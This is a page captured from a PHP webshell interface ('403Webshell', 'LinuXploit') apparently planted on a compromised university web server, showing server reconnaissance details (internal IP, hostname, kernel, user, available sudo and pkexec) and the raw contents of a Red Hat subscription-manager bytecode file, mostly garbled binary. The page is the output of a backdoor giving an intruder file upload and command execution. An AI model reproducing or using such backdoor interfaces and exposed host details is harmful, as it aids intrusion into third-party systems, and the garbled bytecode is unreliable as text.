403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/collector.cpython-36.pyc
3

a�e��@spddlmZmZmZddlZddlZddlZddlmZej	e
�Zd
dd�ZGdd�de
�ZGdd	�d	e�ZdS)�)�print_function�division�absolute_importN)�
collectioncCs�d}d}|p|}||kr tj�Stjj||�}y"t|d��}|j�j�SQRXWn.tk
r~}zt	j
|��WYdd}~XnXdS)aGet the systems architecture.

    This relies on portable means, like uname to determine
    a high level system arch (ie, x86_64, ppx64,etc).

    We need that so we can decide how to collect the
    arch specific hardware information.

    Also support a 'prefix' arg that allows us to override
    the results. The contents of the '/prefix/arch' will
    override the arch. The 'prefix' arg defaults to None,
    equiv to '/'. This is intended only for test purposes.

    Returns a string containing the arch.�/�arch�rN)�platform�machine�os�path�join�open�read�strip�IOError�logZ	exception)�prefixZDEFAULT_PREFIXZARCH_FILE_NAMEZ	arch_fileZarch_fd�e�r�!/usr/lib64/python3.6/collector.py�get_archs
rc@s&eZdZddd�Zdd�Zdd�ZdS)	�FactsCollectorNcCs@i|_|pd|_|pd|_||_|p.t|jd�|_|p8g|_dS)a�Base class for facts collecting classes.

        self._collected_hw_info will reference the passed collected_hw_info
        arg. When possible this should be a reference (or copy) to all of the facts
        collected in this run. Some collection methods need to alter behavior
        based on facts collector from other modules/classes.
        self._collected_hw_info isn't meant to be altered as a side effect, but
        no promises.�F)rN)Zallhwr�testingZ_collected_hw_inforr�hardware_methods)�selfrrrrZcollected_hw_inforrr�__init__>s


zFactsCollector.__init__cCs&tj�}|j|j��tj|d�}|S)z"Return a FactsCollection iterable.)�
facts_dict)rZ	FactsDict�update�get_allZFactsCollection)rrZfacts_collectionrrr�collectSszFactsCollector.collectcCshi}x^|jD]T}i}y
|�}Wn6tk
rT}ztjd|j|f�WYdd}~XnX|j|�qW|S)Nz"Hardware detection [%s] failed: %s)r�	ExceptionrZwarning�__name__r)rZall_hw_infoZhardware_methodZ	info_dictrrrrr Zs
&zFactsCollector.get_all)NNNNN)r#�
__module__�__qualname__rr!r rrrrr=s
rcs&eZdZd�fdd�	Zdd�Z�ZS)�StaticFactsCollectorNcs6tt|�jf|�|dkri}||_|jjdd�dS)Nzsystem.certificate_versionz3.2)�superr&r�static_facts�
setdefault)rr(�kwargs)�	__class__rrrks
zStaticFactsCollector.__init__cCs|jS)N)r()rrrrr rszStaticFactsCollector.get_all)N)r#r$r%rr �
__classcell__rr)r+rr&jsr&)N)Z
__future__rrrZloggingrr	Z
rhsmlib.factsrZ	getLoggerr#rr�objectrr&rrrr�<module>s

$-

Youez - 2016 - github.com/yon3zu
LinuXploit